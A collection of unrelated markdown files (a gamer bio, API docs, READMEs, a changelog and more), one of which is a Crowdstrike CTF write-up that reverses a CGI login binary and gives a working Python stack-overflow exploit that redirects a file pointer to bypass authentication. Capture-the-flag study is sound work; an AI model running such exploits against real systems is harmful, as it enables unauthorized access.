text:
---
id: 16270
title: Agustin51
date: 2021-04-07T18:01:04+00:00
author: Laima
layout: post
guid: https://ukdataservers.com/agustin51/
permalink: /04/07/agustin51/
---

* some text
{: toc}

## Who is Agustin51

Spanish gamer and Fortnite expert who is famous for his Agustin51 channel’s content. He has earned popularity there for his gaming montages, playthroughs, and commentary for a litany of titles, including Call of Duty: Black Ops and Clash Royale. In 2019, he joined the web group Escuadrón Salchichón.

## Prior to Popularity

He launched his YouTube channel in June 2015.

## Random data

He has amassed more than 4.8 million subscribers to his YouTube channel. In July 2019, he played for a YouTuber squad led by TheGrefg in a charity soccer match organized by Adidas, Real Madrid and YouTube Gaming.

## Family & Everyday Life of Agustin51

His real name is Antonio. His younger brother JuliONline is also a gamer.

## People Related With Agustin51

He’s part of the team of influencers Escuadrón Salchichón alongside TheGrefg, Vicens and Ampeterby7, and they all live together in a house in Andorra.


text:
# PriceComponentDto

## Properties

Name | Type | Description | Notes
------------ | ------------- | ------------- | -------------
**Price** | **float32** | The total, calculated price of this component. | [readonly]
**Label** | **string** | The label associated with this price component. Will be taken from the parent Projects ProjectInformation. | [optional]
**Values** | [**[]CalculationDto**](CalculationDto.md) | The single Calculation elements this price component is composed of. | [optional]

[[Back to Model list]](../README.md#documentation-for-models) [[Back to API list]](../README.md#documentation-for-api-endpoints) [[Back to README]](../README.md)

license: MIT

repository: Dangl-IT/avaclient-go

branch_name: refs/heads/master

extension: md

gha_license_id: MIT

license_type: permissive

repo_name: Dangl-IT/avaclient-go


text:
## Master's Research Project Proposal

# 1.	Description of The Problem

On the first quarter of 2019, my sister got married in Newcastle, United Kingdom. As often the case during a wedding, numerous financial transactions were made. During one such urgent matter, my debit card was declined. It was embarrassing to say the least but more importantly it delayed several wedding activities.

In the moment I was not thinking about the data science that determined my fate. Even though it was disheartening, this fraud prevention system is saving consumers millions of dollars per year.

Researchers from the [IEEE Computational Intelligence Society (IEEE-CIS)](https://en.wikipedia.org/wiki/IEEE_Computational_Intelligence_Society) want to improve this figure, while also improving the customer experience. They are partnering with the world’s leading payment service company, [Vesta Corporation](https://trustvesta.com/), seeking the best solutions for fraud prevention industry, and they have invited data scientists to join the challenge on [Kaggle](https://www.kaggle.com/c/ieee-fraud-detection/overview).

# 2.	Why It’s Interesting

There are two main reasons for picking this problem. First, I believe this problem is sufficiently challenging that it serves as a good demonstration of what I have mastered in the program. In this competition, I’ll benchmark machine learning models on a challenging large-scale dataset. The data comes from Vesta’s real-world e-commerce transactions and contains wide range of features from device type to product features. I also can create new features to improve my results.

Second, I had only one white-collar job in my career and this is exactly what I did. Before I started working on my bachelor’s program, I was hired as an office assistant at an ecommerce payment solutions company. Through hard work I soon became their junior data analyst, manually verifying over $10K worth of transactions per day.

I believe this project brings my career full circle. With master’s program, this capstone project coupled with my job experience, I can land a job in the financial sector.

# 3.	What Other Approaches

Within a year, the field of machine learning and data science have advanced so much. I believe with this advancement and my knowledge of the domain; I can apply new algorithms and tools such as TensorFlow to improve or solve the problem.

[ClearSale](https://en.wikipedia.org/wiki/ClearSale), a large fraud management company from Brazil with customers such as Sony, Walmart and others; recently posted a blog. In this blog they state, [“the biggest e-commerce challenge of 2019 may be balancing marketing and sales channel innovation with the need for increasingly sophisticated fraud prevention.”](https://blog.clear.sale/do-we-have-enough-data-scientists-to-protect-against-e-commerce-fraud)

It is evident there is lot of room for improvement in fraud prevention, I hope to contribute my expertise and knowledge to this noble cause.

repository: saayedalam/Master-s-Research-Project

repo_name: saayedalam/Master-s-Research-Project


text:
# AUR package checker

A command line tool for checking local packages installed from AUR (Arch User Repository).

## Requirements

* Arch Linux
* Ruby programming language runtime

## Usage

The script checks your local installed packages (with pacman -Qm) and then performs a check againts the latest versions in AUR (https://aur.archlinux.org/). The version comparison is done with vercmp which guarantees compatibility with pacman.

Example:

$ ruby aur-pkg-checker.rb
Current time is 2015-02-11 11:49:07 +0200
Checking package versions
libudev.so.0: 0.1.1-2 => OK
lighttable: 0.7.2-1 => OK
sublime-text: 2.0.2-1 => new version available: 2.0.2-4

In this example the user has 3 installed packages. Two of these packages are up-to-date, and one has a newer version available.

The script can be run with regular user privileges.

By default the script will download updated packages to a build directory where the script is ran. Automatic download can be disabled with '-c' command line option.

## TODO

* Log actions
* Ignored package list (don't want to update certain packages)
* Install new packages

Copyright (C) 2015 Teemu Frisk
Distributed under MIT License

repository: tfrisk/aur-pkg-checker

repo_name: tfrisk/aur-pkg-checker


text:
# Package/Script Name
Notes Panel

## Short description of package/script

- I have imported tkinter,
from tkinter imported Toplevel, Frame, X, TOP, Label, RIGHT, LEFT, BOTH, Tk
imported tkinter.scrolledtext as tkst
from tkinter imported messagebox
from tkinter imported font

## Setup instructions
Once you download it on your loacl computer, run it. It wil work successfully.

## Detailed explanation of script, if needed
I have added GUI, Added the buttons, created the background, imported the tkinter.

## Output
I have shared the folder :
![gif](https://user-images.githubusercontent.com/77045147/122080415-dfda5a00-ce1b-11eb-8a4f-ae9cda3b5321.gif)
![notes 1](https://user-images.githubusercontent.com/77045147/122080435-e537a480-ce1b-11eb-845b-9b3f90319a5d.png)
![notes 2](https://user-images.githubusercontent.com/77045147/122080445-e7016800-ce1b-11eb-8fe0-42341f24f1a2.png)

url: https://raw.githubusercontent.com/prathimacode-hub/MLH-INIT-2022/0fb9dee1aaab6ba8ebbbc1a9504bd3c37ddd7515/Make an Online White Board Tool/README.md

branch_name: refs/heads/main

gha_language: Jupyter Notebook


text:
# filecoin

[![Made by Textile](https://img.shields.io/badge/made%20by-Textile-informational.svg?style=popout-square)](https://textile.io)
[![Chat on Slack](https://img.shields.io/badge/slack-slack.textile.io-informational.svg?style=popout-square)](https://slack.textile.io)
[![GitHub license](https://img.shields.io/github/license/textileio/filecoin.svg?style=popout-square)](./LICENSE)
[![Go Report Card](https://goreportcard.com/badge/github.com/textileio/fil-tools?style=flat-square)](https://goreportcard.com/report/github.com/textileio/fil-tools?style=flat-square)
[![GitHub action](https://github.com/textileio/fil-tools/workflows/Tests/badge.svg?style=popout-square)](https://github.com/textileio/fil-tools/actions)

> Textile's Filecoin swiss army knife for developers

Join us on our [public Slack channel](https://slack.textile.io/) for news, discussions, and status updates. [Check out our blog](https://medium.com/textileio) for the latest posts and announcements.

## Table of Contents

-   [Usage](#usage)
-   [Contributing](#contributing)
-   [Changelog](#changelog)
-   [License](#license)

## Usage

*Warning* This project is still **pre-release** and is only meant for testing.

### Lotus (`lotus`)

See [https://lotu.sh/](https://lotu.sh/). Required for client. Lotus is an implementation of the Filecoin Distributed Storage Network—we run the Lotus client to join the Filecoin Testnet.

### Client (`filcoin`)

Note to developers—as of 1/25/2020, the main line of development for the filecoin client is happening in the `asutula/cli` branch.

```bash
# from the asutula/cli branch
go build -i -o filecoin exe/cli/main.go
chmod +x filecoin
```

Try `filecoin --help`.

### Server
The server connects to Lotus and enables multiple modules, such as:
- Reputations module:
   - Miners index: with on-chain and metadata information.
   - Ask index: with an up-to-date information about available _Storage Ask_ in the network.
   - Slashing index: contains a history of all miner-slashes.
- Deals Module:
    - Contain helper features for making and watching deals.
### Prerequisites
Currently, the server needs the same dependencies as Lotus, so most probably they will be already installed if you run the server in _dev mode_ (`go run` syntax). If that's not the case, [see here](https://docs.lotu.sh/en+install-lotus-ubuntu).

### Run in _dev mode_
The server can be run in _dev mode_ with `go run exe/server/main.go`.

### Run in _docker mode_
You can run the server in a _Docker Compose_ enviroment with _Prometheus_ and _Grafana_ to have a health-monitoring for the server.
To do so:
```
cd docker
make fresh
```
This will do whatever it takes to get all systems running:
- `localhost:3000`: Grafana dashboard with anonymous setup. _admin_:_foobar_ are  admin credentials.
- `localhost:9090`: Prometheus enpoint.
- `localhost:8888`: Server Prometheus endpoint for metric scraping.
- `localhost:8889`: HTTP endpoint for current index values (`index/miners`, `index/slashing`, `index/ask`).

It's important to mention that the _Docker Compose_ is run in _host_ _network mode_, which is only supported in Linux. Eventually we'll include Lotus inside the compose file allowing for default network modes.

## Test
For running tests: `make test`

## Contributing

This project is a work in progress. As such, there's a few things you can do right now to help out:

-   **Ask questions**! We'll try to help. Be sure to drop a note (on the above issue) if there is anything you'd like to work on and we'll update the issue to let others know. Also [get in touch](https://slack.textile.io) on Slack.
-   **Open issues**, [file issues](https://github.com/textileio/fil-tools/issues), submit pull requests!
-   **Perform code reviews**. More eyes will help a) speed the project along b) ensure quality and c) reduce possible future bugs.
-   **Take a look at the code**. Contributions here that would be most helpful are **top-level comments** about how it should look based on your understanding. Again, the more eyes the better.
-   **Add tests**. There can never be enough tests.

Before you get started, be sure to read our [contributors guide](./CONTRIBUTING.md) and our [contributor covenant code of conduct](./CODE_OF_CONDUCT.md).

## Changelog

[Changelog is published to Releases.](https://github.com/textileio/fil-tools/releases)

## License

[MIT](LICENSE)

repository: cgwyx/fil-tools

repo_name: cgwyx/fil-tools


text:
# Instructions

## Prereqs

[Docker](https://www.docker.com/community-edition#/download) up and running

## Build 'wdio' Docker image

`npm run buildDocker`

## Start Server

`npm start`

repository: rakshitmidha/trywebdriverio

repo_name: rakshitmidha/trywebdriverio


text:
# Contributing to QuantEx

We welcome contributions and here we lay out some guidelines which should be followed to make the process more streamlined for all involved.

## Contribution process

Commits should not be pushed directly to the master branch but should instead be merged from branches following via pull/merge requests. To track
tasks, features, bugs and enhancements should have a corresponding issue which explains the motivation and logic used in the committed code/documentation.
The steps in the full process from creating an issue to merging are:

1. Create issue with quick description of feature, bug, enhancement etc.. This will be assigned an issue number
2. Create a branch with a name that starts with the issue number and gives a concise description of the issue
3. Make the necessary changes to the branch. Commit messages should follow imperative style ("Fix bug" vs "Fixed bug"). Further guidelines for commit messages [here](https://gist.github.com/robertpainsi/b632364184e70900af4ab688decf6f53)
4. Ensure latest changes from `master` are  on the feature branch (rebase, merge as necessary)
5. Ensure all relevant tests are passing and documentation is added/updated to reflect changes
6. If more than a single commit on the branch, squash (using `git rebase -i` is useful here) to a single commit with steps given in a changelog
7. Create a merge/pull request requesting to merge the changes into the master branch and assign appropriate reviewer
8. Once request is accepted the merge/pull request should be merged, the branch deleted and the issue status updated (closed if this is the case)


text:
 Cassi

 Cryptographic Asymmetric Secure Storage Infrastructure

 Cassi helps you manage your sensitive data in secure, password-protected, encrypted file-based vaults.

## Latest Release [![Build](https://circleci.com/gh/fluidtrends/cassi.svg?style=svg)](https://circleci.com/gh/fluidtrends/cassi)

[![Coverage](https://api.codeclimate.com/v1/badges/f472b929f316ff5f2d76/test_coverage)](https://codeclimate.com/github/fluidtrends/cassi/test_coverage)
[![Maintainability](https://api.codeclimate.com/v1/badges/f472b929f316ff5f2d76/maintainability)](https://codeclimate.com/github/fluidtrends/cassi/maintainability)
[![Style](https://img.shields.io/badge/code%20style-standard-brightgreen.svg)](http://standardjs.com)

## Getting Started

There's really nothing to getting Cassi up and running, other than selecting a root directory for your vault storage and setting a password for each vault. Have a look at how easy it is to create a Cassi Vault:

```
// Import Cassi
const cassi = require('cassi')

// Create a new vault instance
const vault = new cassi.Vault({ name: 'my-vault' })

// Create the vault with password 'hello'
vault.create('hello')
      .then((vault) => {
        // Good stuff, enjoy your new vault
      })
      .catch((error) => {
        // Something happened and the vault could not be created
      })
```

## Documentation

Cassi is very well documented and all objects, options, fields and functions are well explained and they all include examples.

Read the full documentation for detailed instructions on how to create, lock, unlock vaults and how to read and write sensitive data.

[Read The Docs](/docs)

## Contributing

We'd be glad to have you join us as an Cassi Contributor. Get started by reading our Contributor Guide.

[Read The Contributor Guide](/contrib)

## Dependencies

Cassi makes use of the following libraries:

* [lowdb](https://github.com/typicode/lowdb) - for storage
* [bcrypt](https://github.com/kelektiv/node.bcrypt.js) - for password hashing
* [fs-extra](https://github.com/jprichardson/node-fs-extra) - for file management
* [uuid](https://github.com/kelektiv/node-uuid) - for generating ids
* [node-rsa](https://github.com/rzcoder/node-rsa) - for generating RSA certificates

## License

Cassi is licensed under the MIT License.

* [Read The License](LICENSE)

## Sponsors

Cassi is sponsored by [Fluid Trends](http://fluidtrends.com) and is part of the Fluid Trends Open Source Lab.

If you'd like to co-sponsor this project, please email your co-sponsorship request to **team at fluidtrends.com**

repository: aclowwwn/cassi

repo_name: aclowwwn/cassi


text:
---
layout: post
title: Random ramblings at 01-05-2023
permalink: /21890/
---
# Notes for this day

## 16:14

Been thinking about strategies to make myself not so dependent on the services
of device-makers and outsite entities - one thing that makes me reach for the
MacBook Air is the Notes app, it's super handy to slap some notes on the laptop
and they are already to go on the iPhone when I head out.

I once made a notes webapp using the fabled Meteor.js library - that pushed
updates automatically into all views, making it always up to date on any
device.

Will look into recreating it and maybe setting up a Linode instance to run it
on.


text:
This example is a pretty slim one and disables many bot features to just have a plain GPT/openai-bot in the end.

The bot can be added as Slack app by anyone in the Slack workspace and can handle private messages. Additionally the bot can be invited to channels, but then it will answer any message, which might be unwanted by default.

When a message is sent to the bot, it will answer with a message generated by the OpenAI API in a new thread. All replies within the new thread will have the thread history in context so OpenAI is able to generate dresponses based on the whole context. In the end the flow is presst similar to Chat-GPT and the message is also generated with the stream API to get first result as fast as possible.

**Data privacy note:** by default every message and response (+some medadata like used model) are stored in the log file. This can be disabled by setting `logger.level` to `warning` in the config.

**Example conversation:**
![Screenshot](./screenshot.png)

# Setup

## 1st) Create the Slack app
[See the readme section here](../../readme.md#1st-createprepare-the-slack-app) for more details.

# 2nd) Create an OpenAI access token
- create an account on https://openai.com
- create a new [OpenAI API key](https://platform.openai.com/account/api-keys)

# 3rd) Configuration
See the [config.yaml](./config.yaml) from this example and replace all slack+openai tokens by your own ones

# 4th) Run the bot
[See the readme section here](../../readme.md#3rd-run-the-bot)

# 5th) Add the bot to your Slack client
Go to the Slack client click on "Add Apps" in the lower left corner and search for the name of your Slack app.
After adding it you will see it in the left sidebar and can start chatting with it.

repository: innogames/slack-bot

gha_language: Go

repo_name: innogames/slack-bot


text:
# sabayon-p1

## Table of contents

1. [Purpose](#purpose)
2. [Requirements](#requirements)
3. [Dataset](#dataset)
4. [Usage](#usage)
5. [License](#license)
6. [Contact info](#contact-info)

## Purpose

sabayon-p1 creates a classifier to classfiy malware for project 1, course CSCI8360 of UGA.

The project addresses the malware detection problem in the context of text classification.

## Requiremnets

This project requires Python 3.x with `pyspark` library installed.

## Dataset

The dataset consists of a set of documents belong to 9 different malware families. The content of the documents is in hexadecimal.

Since the size of the dataset is large, the data is not included in the repository, however a script to download a sample of the data is provided in the repository. To download the data navigate to `scripts/` directory and run on of the follwoings in command line (note that [`google-cloud-sdk`](https://cloud.google.com/sdk/) is required for the script):

`$ ./get_files.sh`

`$ python3 get_files.py`

## Usage

You may install the package using `pip` as follows:

`$ pip install --user -i https://test.pypi.org/simple/ sabayon-p1`

In this case you can import the package and call different methods as follows:
```
>>> import sabayon_p1
>>> sc = sabayon_p1.spark_session_setup(memory_limit='4G')
>>> train_df, test_df = sabayon_p1.load_dataset(sc)
>>> stages = sabayon_p1.build_pipeline(classifier='rf', max_depth=7)
>>> from pyspark.ml import Pipeline
>>> pipeline = Pipeline(stages=stages)
>>> model = pipeline.fit(train_df)
>>> predictions = model.transform(test_df)
>>> sabayon_p1.write_to_file(predictions, outfile)
```
Note that you should pass path parameters to the `load_dataset()` method (See below for the list of parameters).

Alternatively, you can download the source code and simply run the following command:

`$ python3 classify.py`

List of command line arguments to pass to the program are as follows:

	--asm_path: path to the asm training files.
	--bytes_path: path to the bytes training files.
	--train_files: path to the file containing the train files.
	--test_files: path to the file containing the test files.
	--train_labels: path to the file containing the train labels.
	--test_labels: path to the file containing the test labels.
	--outfile: path to the output file containing labels for final test set.
	--model_path: path to the folder for saving the final model.
	--n_parts: an integer specifying the number of partitions.
	--mem_lim: a string specifying the memory limit.
	--max_depth: maximum depth of the tree in Rnadom Forest Classifier.
	--classifier: classifier algorithm to be used for the classification task ({lr,nb,rf}).

The default values for above parameters are set such that it builds a Random Forest Classifier with `max_depth=7` and works with [public data](https://console.cloud.google.com/storage/browser/uga-dsp/project1) available on Google Cloud.

The see the above list in command line execute the following command:

`$ python3 classify.py -h`

One typical usage is:

`$ python3 classify.py --bytes_path="../dataset/data/bytes/" --train_files="../dataset/files/X_small_train.txt" --test_files="../dataset/files/X_small_test.txt" --train_labels="../dataset/files/y_small_train.txt" --outfile="./outfile.csv" --mem_lim="4G" --asm_path=""`

Note that the program works with both *asm* and *bytes* data, so only one of the `asm_path` and `bytes_path` should be a valid path and the other one should be an empty string.

## License
The code in this repository is free software: you can redistribute it and/or modify it under the terms of the MIT lisense.

## Contact info

For questions please email one of the authors:

<EMAIL_ADDRESS>
<EMAIL_ADDRESS>
<EMAIL_ADDRESS>


text:
---
layout: post
title: Crowdstrike CTF 2021 - Portal
author: hugsy
tags: [Protective Penguin,pwn,re,elf64,]
date: 2021-01-29 19:43
---

* Competition: [Crowdstrike CTF](https://adversary.zone/challenges)
* Challenge Name: Portal
* Points: 1 pts
* Description:
> PROTECTIVE PENGUIN gained access to one of their victims through the victim's extranet authentication portals and we were asked to investigate.
> Please download the Portal Code and see whether you can reproduce their means of initial access vector. We stood up a test instance of the authentication portal for you to validate against.

The target for this challenge is located at https://authportal.challenges.adversary.zone:8880/cgi-bin/portal.cgi. By opening the Qemu image we can retrieve the ELF64 file: `cgi-bin/portal.cgi`. That "portal" is fairly basic, only asking for credentials.
<!--more-->

# Reversing the binary

The binary was quickly identified:

```bash
$ file cgi-bin/portal.cgi
cgi-bin/portal.cgi: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=aead4fc5b1de633c95bfc8076a8338c9f64c3125, for GNU/Linux 3.2.0, stripped
$ checksec cgi-bin/portal.cgi
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
```

First, we determined the logic of the binary: it is a ELF64 CGI that is spawned via `python3 -m http.server --cgi`. This has several implications: CGIs are forked and execv-ed so this rules out any kind of stack canary bruteforce (if any canary attack was needed), and also relying on static libc addresses. But the binary base itself will be static.

Moving on to reversing: the `main` function quickly shows that the binary gets the `user` and `pass` from the input formatted in JSON. Also it shows that if the `auth` function is successful (i.e. returns 0), the flag is simply given to us:

![img](https://i.imgur.com/XBOlhQe.png)

Here is the core of the `auth` function
![img](https://i.imgur.com/tjyzEAQ.png)

Its logic is:

1. Read HTTP POST `user` and `pass` as `application/json`
2. Both parameters must be base64 encoded
3. Read expected string from "creds.txt".
4. Do `strcmp("given:credz","fromfile:credz")`
5. If returns 0, it just dumps the flag

After spending some time thinking of using a timing attack for exploitation, we re-read the binary disassembly to spot a stack overflow when the `auth` uses `__b64_pton` on a static stack buffer when extracting the credentials. We fully control the content being extracted. So here we go!

# Exploitation

Trigger the stack overflow is not hard, only providing an input big enough would suffice. For example this code:

```python
s = requests.Session()
u = b64(b"A"*372)
r = s.post("http://localhost:8000/cgi-bin/portal.cgi", json={"user": u, "pass": u})
print(r.text)
s.close()
```

would corrupt the stack, but also overwrite the canary triggering `__stack_chk_fail` and we don't like that much.
But looking closely at the stack layout, we realized something:

```
                     ^
|            |       |
--------------       |
|   pc       |       |
--------------       |
|  sfp       |       |
--------------       |
| canary     |       |
--------------       |
|  fname     |       |
--------------       |
|            |       |  stack direction
|            |       |
| controlled |       |
| buffer     |       |
|            |       |
|            |       |
```

We can control the value being passed to `fopen`! So we can use that argument to point to an address that will be `fopen` for comparison. By default, it obviously points to `creds.txt` (i.e. 0x402008). But if we could point it to a file we know that may contain `:` character, then we have all we need to pass the call to `strcmp`.

And one case struck out
```bash
$ strings cgi-bin/portal.cgi | rg /
/lib64/ld-linux-x86-64.so.2
```

Not quite sure if it was the intended solution, but it worked: we grepped`/lib64/ld-linux-x86-64.so.2` looking for `:` and we get some interesting stuff:

```bash
$ strings /lib64/ld-linux-x86-64.so.2 | rg ':'
[...]
FATAL: kernel too old
Unused direct dependencies:
        Version information:
        %s:
prelink checking: %s
wrong ELF class: ELFCLASS32
undefined symbol: %s%s%s
relocation processing: %s%s
calling init: %s
calling preinit: %s
[...]
```

We are free to pick any: so I picked `b"\tVersion information:"`. All is needed now is build the parameter with an `user` having the base64-encoded value of `b"\tVersion information"`, and `pass` with `\0` is enough.

```python
import os, sys, requests, time
from base64 import b64encode as b64
from pwn import *

TARGET="https://authportal.challenges.adversary.zone:8880/cgi-bin/portal.cgi"

def pwn():
    user_raw = b"\tVersion information"
    user = b64(user_raw)
    pwd_raw = b"\0"*(259-len(u_r))
    pwd = b64(pwd_raw + p64(0x4002a8) + b"A"*8) # 0x4002a8 is the address of /lib64/ld-linux-x86-64.so.2 in portal.cgi

    r = request.post(TARGET, json={"user": user, "pass": pwd})
    if len(r.text):
        print(r.text)
    return

if __name__ == "__main__":
    pwn()
```

And we get the flag printed out after a bunch of junk, showing `CS{w3b_vPn_h4xx}`.

gha_language: CSS


text:
# Cortex Auth Change Log

All notable changes to this project will be documented in this file.

This project adheres to [Semantic Versioning](CONTRIBUTING.md).

## [v4.1.2] - 2019-12-18
- Fix route regex pattern to include underscores
  - This way it's compatible with validation rule `alpha_dash`
- Fix `migrate:reset` args as it doesn't accept --step
- Refactor events and event listeners

## [v4.1.1] - 2019-12-04
- Add ajax filters capabilities to datatables (admins, managers, members)
- Add DT_RowId field to datatables
- Fix undefined phone_verified_at attribute and file size validation rule

## [v4.1.0] - 2019-11-23
- change account display name as the two children account and settings have the same name (#87)
- Refactor Reauthentication feature to be compatible with the new Laravel v6.2 feature
  https://laravel-news.com/new-password-confirmation-in-laravel-6-2
- Update Reauthenticate middleware to be compatible with Laravel v6.3
  Use contracts for the RequirePassword middleware (#30215)
  https://github.com/laravel/framework/commit/53b64719d6fb398bfc2aa2baf121e887d21b7aea
- Laravel v6.4.x / Handle ajax requests in RequirePassword middleware (#30390, 331c354)
  https://blog.laravel.com/laravel-v6-4-0-released
  https://github.com/laravel/framework/pull/30390
  https://github.com/laravel/framework/commit/331c354e586a5a27a9edc9b9a49d23aa872e4b32
- Move "Remember previous URL for later redirect back" to exception handler
- Refactor Login Throttle to use "ThrottleRequests" middleware

## [v4.0.5] - 2019-10-14
- Update menus & breadcrumbs event listener to accessarea.ready
- Fix wrong dependencies letter case

## [v4.0.4] - 2019-10-06
- Refactor menus and breadcrumb bindings to utilize event dispatcher
- Drop wrong useless adminarea.register route

## [v4.0.3] - 2019-09-24
- Add missing laravel/helpers composer package

## [v4.0.2] - 2019-09-23
- Fix outdated package version

## [v4.0.1] - 2019-09-23
- Fix outdated package version

## [v4.0.0] - 2019-09-23
- Upgrade to Laravel v6 and update dependencies

## [v3.0.6] - 2019-09-03
- Skip Javascrip validation for file input fields to avoid size validation conflict with jquery.validator
- Fix size validation rule

## [v3.0.5] - 2019-09-03
- Fix wrong hardcoded members guard name

## [v3.0.4] - 2019-09-03
- Enforce profile_picture and cover_photo image validation rules & update media config
- Because session last_activity store timestamp we should comapre by time function instead of now (#82)
- Fix redirection routes for different accessareas
- Use $_SERVER instead of $_ENV for PHPUnit
- Remove new password validation from broker
- Update HttpKernel to use Authenticate middleware under App namespace

## [v3.0.3] - 2019-08-03
- Tweak menus & breadcrumbs performance
- Fix menu issues

## [v3.0.2] - 2019-08-03
- Update composer dependencies

## [v3.0.1] - 2019-08-03
- Upgrade rinvex/laravel-auth package

## [v3.0.0] - 2019-08-03
- Upgrade composer dependencies
- Upgrade socialite to v4 (#77)
- Override AuthenticateSession middleware to support multi-guard authentication
- Merge cortex/auth-b2b2c2 into this core cortex/auth module

## [v2.1.3] - 2019-06-03
- Enforce latest composer package versions

## [v2.1.2] - 2019-06-03
- Update publish commands to support both packages and modules natively

## [v2.1.1] - 2019-06-02
- Fix yajra/laravel-datatables-fractal and league/fractal compatibility

## [v2.1.0] - 2019-06-02
- Fix twofactor route
- Update composer deps
- Drop PHP 7.1 travis test
- Add settings to managerarea menu
- Refactor migrations and artisan commands, and tweak service provider publishes functionality

## [v2.0.0] - 2019-03-03
- Require PHP 7.2 & Laravel 5.8
- Utilize includeWhen blade directive
- Replace __ CLASS __ with self::class (potentially deprecated in PHP 7.4)
- Fix json/array casting type
- Add files option to the form to allow file upload
- Fix wrong authorization check method for superadmins
- Refactor abilities seeding
- Refactor managed roles/abilities retrieval
- Drop role Tenantability, and use bouncer native scopes features
- Refactor isManager & isSupermanager methods
- Drop ownership feature of tenants

## [v1.0.6] - 2019-01-04
- Drop member & manager seeds

## [v1.0.5] - 2019-01-03
- Add settings link to logged-in user menu
- Seed member & manager accounts
- Force save password regardless of any other fields validation errors
  - This action only deal with password change anyway.
- Simplify and flatten create & edit form controller actions
- Tweak and simplify FormRequest validations

## [v1.0.4] - 2018-12-25
- Rename environment variable QUEUE_DRIVER to QUEUE_CONNECTION
- Fix wrong media destroy route
- Fix cortex:seed:auth

## [v1.0.3] - 2018-12-23
- Apply spatie/laravel-activitylog updates
- Fix macroable recursive calls

## [v1.0.2] - 2018-12-23
- Fix wrong pragmarx/google2fa dependency version

## [v1.0.1] - 2018-12-22
- Update composer dependencies
- Add PHP 7.3 support to travis

## [v1.0.0] - 2018-10-01
- Support Laravel v5.7, bump versions and enforce consistency

## [v0.0.3] - 2018-09-22
- Too much changes to list here!!

## [v0.0.2] - 2018-02-17
- Complete package refactor!

## v0.0.1 - 2017-03-13
- Tag first release

[v4.1.2]: https://github.com/rinvex/cortex-auth/compare/v4.1.1...v4.1.2
[v4.1.1]: https://github.com/rinvex/cortex-auth/compare/v4.1.0...v4.1.1
[v4.1.0]: https://github.com/rinvex/cortex-auth/compare/v4.0.5...v4.1.0
[v4.0.5]: https://github.com/rinvex/cortex-auth/compare/v4.0.4...v4.0.5
[v4.0.4]: https://github.com/rinvex/cortex-auth/compare/v4.0.3...v4.0.4
[v4.0.3]: https://github.com/rinvex/cortex-auth/compare/v4.0.2...v4.0.3
[v4.0.2]: https://github.com/rinvex/cortex-auth/compare/v4.0.1...v4.0.2
[v4.0.1]: https://github.com/rinvex/cortex-auth/compare/v4.0.0...v4.0.1
[v4.0.0]: https://github.com/rinvex/cortex-auth/compare/v3.0.6...v4.0.0
[v3.0.6]: https://github.com/rinvex/cortex-auth/compare/v3.0.5...v3.0.6
[v3.0.5]: https://github.com/rinvex/cortex-auth/compare/v3.0.4...v3.0.5
[v3.0.4]: https://github.com/rinvex/cortex-auth/compare/v3.0.3...v3.0.4
[v3.0.3]: https://github.com/rinvex/cortex-auth/compare/v3.0.2...v3.0.3
[v3.0.2]: https://github.com/rinvex/cortex-auth/compare/v3.0.1...v3.0.2
[v3.0.1]: https://github.com/rinvex/cortex-auth/compare/v3.0.0...v3.0.1
[v3.0.0]: https://github.com/rinvex/cortex-auth/compare/v2.1.2...v3.0.0
[v2.1.2]: https://github.com/rinvex/cortex-auth/compare/v2.1.1...v2.1.2
[v2.1.1]: https://github.com/rinvex/cortex-auth/compare/v2.1.0...v2.1.1
[v2.1.0]: https://github.com/rinvex/cortex-auth/compare/v2.0.0...v2.1.0
[v2.0.0]: https://github.com/rinvex/cortex-auth/compare/v1.0.6...v2.0.0
[v1.0.6]: https://github.com/rinvex/cortex-auth/compare/v1.0.5...v1.0.6
[v1.0.5]: https://github.com/rinvex/cortex-auth/compare/v1.0.4...v1.0.5
[v1.0.4]: https://github.com/rinvex/cortex-auth/compare/v1.0.3...v1.0.4
[v1.0.3]: https://github.com/rinvex/cortex-auth/compare/v1.0.2...v1.0.3
[v1.0.2]: https://github.com/rinvex/cortex-auth/compare/v1.0.1...v1.0.2
[v1.0.1]: https://github.com/rinvex/cortex-auth/compare/v1.0.0...v1.0.1
[v1.0.0]: https://github.com/rinvex/cortex-auth/compare/v0.0.2...v1.0.0
[v0.0.2]: https://github.com/rinvex/cortex-auth/compare/v0.0.2...v0.0.3
[v0.0.2]: https://github.com/rinvex/cortex-auth/compare/v0.0.1...v0.0.2

repository: abhayzonvoir/cortex

gha_language: PHP

repo_name: abhayzonvoir/cortex


text:
[Home](https://gotbasic.com) • [VB 7+](vb.md) • [VB 1-6](vb6.md) • [FB](freebasic.md) • [QB64](qb64.md) • [QB45](qb.md) • [GW-BASIC](gw-basic.md) • [Micro](micro.md) • [Retro](retro.md)

# Oxygen Basic

Oxygen Basic (O2H) is a compiler assembler and linker, deployed in a single DLL that takes source code strings and creates executable binary in memory. This implementation can be embedded in any application to provide high performance programmability. The compiler can also generate conventional 32 / 64 bit executables and dynamic link libraries.

Oxygen supports Object Oriented Programming with multiple inheritance and also single inheritance modes, more suited to COM. In addition to this O2H supports customised operators for classes. It can also build secondary binaries from source code strings at run time with its dynamic compile() function.

The built-in function set is small. but contains the necessary tools to build class / function libraries to any scale.

In addition to understanding Basic in the QBasic genre, Oxygen can read sufficient C syntax to deal with most C headers directly, eliminating the need to translate them into Basic.

- [Official Site](https://www.oxygenbasic.org)

repository: DualBrain/gotBASIC

repo_name: DualBrain/gotBASIC


text:
---
layout: default
title: FragMAXapp
description: PanDDA
---

***

PanDDA is extensively explored by FragMAXapp. The webapp provides some options as interactive input. All options not available in the PanDDA tab is still available is parsed into the _Custom parameters_ field.

Please check PanDDA documentation for all options available.

## Data selection

![](https://raw.githubusercontent.com/FragMAX/fragmax.github.io/master/assets/img/analysis3.png)

The selection will be used to find results in the project and analyse with PanDDA.

```
Selecting methods will primarily use the results from those pipelines. Example:

Processing = autoPROC
Refinement = DIMPLE

Output:
All results from the combination autoPROC processed and DIMPLE refined will be used.
If the a given dataset failied to be analysed by this combination, two options are possible:

1. If complete results = YES: FragPLEX method will be triggered,
    looking for results availables from other method combinations.
2. If complete results = NO: Missing datasets will be ignored.
```

Options for generating the ground state model
```
Four options are available:

GSM = Ground State Model

1. Use know Apo structures
    Datasets with _Apo_ in the name will be used to create the GSM
